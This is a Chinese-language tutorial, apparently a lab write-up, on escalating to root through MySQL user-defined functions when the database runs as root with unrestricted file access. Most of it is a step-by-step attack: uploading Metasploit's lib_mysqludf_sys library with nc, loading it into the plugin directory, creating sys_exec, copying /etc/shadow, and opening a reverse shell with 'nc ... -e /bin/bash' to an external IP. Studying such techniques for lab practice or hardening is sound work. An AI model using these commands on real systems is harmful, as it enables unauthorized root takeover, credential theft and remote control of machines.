不安全的数据库配置mysql_udf提权
目录
简述
此文章知识来自某靶机提权过程,通过mysql的权限配置不当 获取root的权限.现在把思路分享大家。
udf提权前提
一般情况下安装mysql数据库 系统都会为其配置账号(默认:mysql)
那么运行mysql服务的进程也将是mysql这个账号运行起来的,
如果你通过某种方式进入系统mysql服务 想要依此来提权抢夺mysql的权限 那么你最终将得到的是mysql账号账号权限,这个账号权限有限。
但如果安装权限配置不当 mysql是以root账号运行的() 而且secure_file_priv不限制目录 理论上你可以提权得到root账号的权限,
如果是以sudo运行起来的可以尝试\! bash 直接获取权限
mysql_UDF提权
在mysql服务里中不像其他编程服务那样 可以调用系统函数 依此反弹shell。
如果想实现这种系统函数调用 那么就要用到 udf(user definedf unction,用户定义函数),设计初衷是为了丰富数据库的功能,不过这也增加了提权可能。
我们可以使用现成的 已经定义好的UDF库文件,导入到mysql到指定目下 用plugin导入 创建系统函数。
如果是 MySQL >= 5.1 的版本(这个可以通过select version()查看),必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能导入自定义函数。
下面假设我们已经获取了一个低的权限 发现mysql是以root身份运行,想依此提到root权限,步骤如下
1.传输kali中动态连接文件
1.找到kali自带的UDF库
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so .
2.使用nc进行传输
监听端口准备接收
cd /tmp
nc -lnvp 5555 > lib_mysqludf_sys_64.so
开始传输文件
nc 10.34.110.195 5555 < lib_mysqludf_sys_64.so -w 1
2.添加插件
select load_file('/tmp/lib_mysqludf_sys_64.so') into dumpfile '/usr/lib/mysql/plugin/utf.so';
注意使用load_file 需要某种权限的打开可使用一下命令查看
show global variables like '%secure_file_priv%';
value 说明 NULL 不允许导入或导出 /var/lib/mysql-files/ 只允许在这个目录导入导出(也是默认情况下) 空 不限制目录
3.添加函数
添加函数 只能名为sys_exec
create function sys_exec returns integer soname 'utf.so';
4.调用sys_exec
select sys_exec('id > /tmp/out.txt');
select load_file('/etc/shadow ') into dumpfile '/tmp/x';
注意:运行是成功的 但无返回结果 可以直接运行反弹root的权限
如用nc 反弹shell
select sys_exec('nc 10.34.x.x 6666 -e /bin/bash');